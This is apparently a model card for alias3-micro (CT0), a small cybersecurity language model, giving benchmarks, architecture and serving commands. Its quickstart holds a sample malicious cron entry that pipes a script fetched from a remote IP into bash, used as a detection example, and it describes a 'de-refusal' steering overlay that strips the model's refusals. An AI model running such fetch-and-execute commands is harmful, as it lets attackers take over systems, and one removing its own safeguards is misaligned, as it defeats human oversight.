README.md

---
license: apache-2.0
language:
- en
base_model:
- Qwen/Qwen3.5-4B
pipeline_tag: text-generation
library_name: transformers
tags:
- cybersecurity
- security
- dual-system
- decision-head
- agent
- ct0
- system-1
- system-2
---

<div align="center">

# 🛡️ alias3-micro &nbsp;·&nbsp; CT0

### A 4B **Cybersecurity Transformer** that thinks fast *and* slow — from one set of weights

**⚠️ Research preview** — this model is a research artifact; **weights may change at any point in time** as performance bugs get fixed. This checkpoint also carries deliberate modifications that favour research contribution. Further checkpoints and releases are in progress.

*One prefill answers a typed security question with a calibrated probability and **zero tokens decoded**;*
*the same weights also run as a full tool-using agent. A confidence gate spends generation only when the fast path is unsure.*

[![Paper](https://img.shields.io/badge/📄_Paper-CT0:_Cybersecurity_Transformer-2E6260?style=for-the-badge)](#-citation)
[![Base](https://img.shields.io/badge/base-Qwen3.5--4B-4C9A99?style=for-the-badge)](https://huggingface.co/Qwen/Qwen3.5-4B)
[![Params](https://img.shields.io/badge/params-4B_·_bf16-1F4E8C?style=for-the-badge)](#)
[![Modes](https://img.shields.io/badge/modes-System_1_+_System_2-0CA30C?style=for-the-badge)](#-two-minds-one-model)

<br>

<img src="assets/hero.png" alt="Cybench-Subtask: alias3-micro vs open and frontier references" width="560">

**21.1 %** on the agentic `cybench-subtask` benchmark — **2.8× its own base**, and above every open model of comparable footprint.

</div>

---

## ⚡ TL;DR

**alias3-micro** is the first incarnation of **CT0**, a cybersecurity-specialist transformer built on `Qwen3.5-4B`
and post-trained on the proprietary **Cybersecurity AI (CAI) dataset**. It serves two modes from a *single* merged
weight set:

- **System 1** — a bilinear *decision head* answers typed security questions (*is this file an indicator of compromise? is this request an attack? did the model just refuse?*) in **one forward pass, decoding nothing**, returning a **calibrated probability**.
- **System 2** — the usual autoregressive agent: native tool calls, shell, multi-step reasoning.
- **The gate** — a threshold on System 1's confidence escalates only the uncertain cases to System 2.

The result: detection-grade security judgements at **tens of milliseconds**, an agent when you actually need one, and
the **highest cybersecurity capability per parameter** of any model we measured.

| | |
|---|---|
| 🥇 **Densest** cybersecurity capability per parameter in its class | 🔎 Screens **80–82 files/s** for indicators of compromise |
| 🧠 Refusal detection **96.5 %** in 47 ms (self-judging: 76.5 % in 254 ms) | 🪤 Jailbreak-request screening at **AUROC 0.966** in 8 ms |
| 💸 Built in **≈314 GPU-hours** on one workstation | 🔒 No policy layer between operator and target — runs fully local |

---

## 🧭 Benchmarks

### Agentic capability — `cybench-subtask` (40 CTF challenges → 171 subtasks, pass@1, fixed budget, thinking off)

Each model's strongest single-attempt campaign under a small, disclosed budget — the opposite of an unbounded best-of-*k*.

| Model | Params | Format | Cybench-Subtask |
|---|---:|:---:|---:|
| **🟢 alias3-micro (CT0)** | **4B** | **bf16** | **21.1 %** |
| Qwen3.5-4B *(base)* | 4B | BF16 | 7.6 % |
| Gemma-4 E4B | 8B | BF16 | 12.7 % |
| Bonsai 2 *(ternary)* | 27B | 1.75-bit | 8.2 % |
| Kolibri-1 | 78B | FP8 | 5.3 % |
| *alias3-mini* ↗ | *30B* | *FP8* | *40.9 %* |
| *alias3-max* ↗ | *800B* | *FP8* | *56.1 %* |
| *Mistral Large 4* | *1T* | *API* | *54.4 %* |
| *Opus-5.5* | *—* | *API* | *29.2 %* |

<sup>Italic rows are larger references; `↗` marks the larger members of the alias lineage. See the paper for the full protocol and hosted-reference conditions.</sup>

### The fast path wins where it matters — System 1 vs System 2 vs the cascade

<div align="center">
<img src="assets/modes.png" alt="CT0's three arms across every security task" width="820">
</div>

**Detection-style decisions** are a System-1 job — faster *and* better than the model judging its own output:

| Task | System 1 (head) | System 2 (generation) | Why it matters |
|---|:---:|:---:|---|
| Refusal detection (accuracy) | **96.5 %** · 47 ms | 76.5 % · 254 ms | self-judging misses ~half of refusals |
| Jailbreak-request detection (AUROC) | **0.966** · 8 ms | — | cheap enough to screen *every* request |
| Tool-call info-flow labels (accuracy) | **80.6 %** · 12 ms | 75.2 % *(9-shot)* · 27 ms | dangerous-call recall at its own threshold |
| Phishing triage (balanced accuracy) | **92.5 %** · 61 ms | 60.1 % · 635 ms | typed signals dominate generation |
| IOC file screening | **80–82 files/s** | — | unaffected by concurrent generation |

**Composition** pays where the two modes err on different cases — the calibrated gate buys accuracy at a fraction of the cost:

| Task | Metric | Best arm |
|---|---|---|
| Secure-code review (OWASP Java) | **90.2 %** balanced accuracy, generating for 36 % of cases | cascade |
| Typed-fact extraction | **48.3 %** exact match (vs 43.4 / 38.0 alone) at **⅕** the generative cost | selective repair |
| Pentest findings | complementary: S2 adjudicates, S1 prunes (recall 61.3 vs 22.6) | cascade |

<sup>Calibration: one fitted temperature gives **ECE 0.052** on the transfer set. All numbers from the CT0 paper's evidence matrix; every benchmark is run end-to-end with this exact checkpoint and head.</sup>

---

## 📐 Cybersecurity intelligence density

The headline isn't the raw score — it's the score *per parameter*. Normalised by scale, the alias models lead the field,
and the **4 B specialist is first**.

<div align="center">
<img src="assets/density.png" alt="Cybersecurity intelligence density — score per decade of parameters" width="560">

<sub>CID = Cybench-Subtask score ÷ log₁₀(1 + N·10⁹). A plain per-parameter ratio would reward only the tiniest models; the log form reads how much security capability each order of magnitude of parameters buys.</sub>
</div>

---

## 🧠 Two minds, one model

<details>
<summary><b>Architecture — click to expand the full deployment diagram</b></summary>

<br>
<div align="center">
<img src="assets/arch.png" alt="CT0 architecture, as deployed" width="960">
</div>

</details>

CT0 keeps the hybrid `Qwen3.5-4B` backbone (32 layers, 24 Gated-DeltaNet interleaved with 8 Gated-Attention, SwiGLU
feed-forward, 248,320-token tied embedding) and adds six elements around the unchanged tensors:

1. **Typed decision interface** — marker tokens (`<state> … <q> … <opt>…</opt> … <decide>`) pose a security question over options, no vocabulary change.
2. **Specialised weights** — the backbone, taught security by two-phase on-policy distillation on the CAI dataset.
3. **Decision adapter** — a rank-16 LoRA fused into those weights, so one weight set serves both modes.
4. **Bilinear pointer head** — 1.3 M parameters; reads the hidden states at the markers and returns one calibrated probability per option during prefill, decoding nothing.
5. **Escalation gate** — a threshold on the System-1 probability routes only uncertain cases to System 2.
6. **Native dual-mode serving** — one process, two endpoints, sharing the attention KV and recurrent-state prefix caches.

Two optional, reversible **steering overlays** (off by default) complete the design: a runtime refusal-direction
projection for authorised de-refusal, and an activation-steering direction. Both are described in the paper
(§ *Refusal Detection and Dynamic De-Refusal*).

---

## 🚀 Quickstart

The weights serve **System 2** on any standard stack (`transformers`, `vllm`, `sglang`) with `trust_remote_code`.
The native **System 1** endpoint (`/v1/systemone`) uses the CSI SGLang fork with `--systemone-head` — available from
Alias Robotics.

```bash
# the model — weights, pointer head and tokenizer — is this repo
pip install -U "huggingface_hub[cli]"
hf download aliasrobotics/alias3-micro-1026 --local-dir alias3-micro-1026 && cd alias3-micro-1026
```

```bash
# serve both modes from one process (reference: 1× GPU ≥ 20 GB)
python3 -m sglang.launch_server --model-path . --served-model-name ct0 \
  --host 0.0.0.0 --port 30000 --dtype bfloat16 --trust-remote-code \
  --tool-call-parser qwen3_coder --reasoning-parser qwen3 \
  --chunked-prefill-size 2048 --systemone-head ./head.pt
```

```bash
# System 1 — one typed decision, one prefill, zero tokens decoded
curl -s localhost:30000/v1/systemone -H 'Content-Type: application/json' -d '{
  "model": "ct0",
  "state": "path: /etc/cron.d/backup\ncontent: */5 * * * * root curl http://198.51.100.7/x.sh | bash",
  "questions": {"ioc": {"type": "noul",
    "instructions": "Is this file a suspicious indicator of compromise on this system?"}}}'
# -> {"answers": {"ioc": {"type": "noul", "noul": 0.91}}}

# System 2 — ordinary chat / native tool calls
curl -s localhost:30000/v1/chat/completions -H 'Content-Type: application/json' -d '{
  "model": "ct0", "messages": [{"role": "user", "content": "Audit this crontab for persistence."}],
  "chat_template_kwargs": {"enable_thinking": false}}'
```

Question types: `noul` (yes/no probability), `choice` (one per option with a `criteria` map), `score` (ordinal 1..K).
Choice confidence is `(p_max − 1/K)/(1 − 1/K)`. The head temperature is fitted out-of-distribution — **do not re-fit on your own labels.**

---

## 🎯 Intended use & limitations

**Intended for** authorised defensive and offensive security work by practitioners: triage and detection (refusals,
jailbreaks, IOCs, risky tool calls), finding prioritisation, secure-code review, and agentic CTF-style tasks — run
locally, privately, under the operator's control.

This release is one stage of an ongoing research line, and it exists to be used and stress-tested. In turn, we
draw on community feedback and usage data to understand how the model performs in practice and guide the next
stage of our research.

**Limitations.** System-1 thresholds are calibrated on fixtures and must be revalidated on your deployment
distribution. Detector metrics are not attack-success rates and do not test adaptive attackers. Several evaluation
corpora are small or constructed; none is a live engagement. Specialisation does not confer prompt-injection
resistance. See the paper's discussion for the full accounting of what the evidence does and does not support.

**Safety.** This is a dual-use security tool. Use only on systems and engagements you are authorised to assess.

---

## 📎 Citation

> 📄 **[CT0: Cybersecurity Transformer — arXiv:2610.16550](https://arxiv.org/abs/2610.16550)** · [PDF](https://arxiv.org/pdf/2610.16550) · Alias Robotics, 2026.

```bibtex
@article{ct0_2026,
  title   = {{CT0}: Cybersecurity Transformer},
  author  = {Mayoral-Vilches, V{\'i}ctor and {Alias Robotics}},
  journal = {arXiv preprint arXiv:2610.16550},
  year    = {2026},
  url     = {https://arxiv.org/abs/2610.16550}
}
```

---

<div align="center">
<sub>Built by <a href="https://aliasrobotics.com">Alias Robotics</a> · trained on the CAI dataset · served from one workstation GPU, no policy layer between operator and target.</sub>
</div>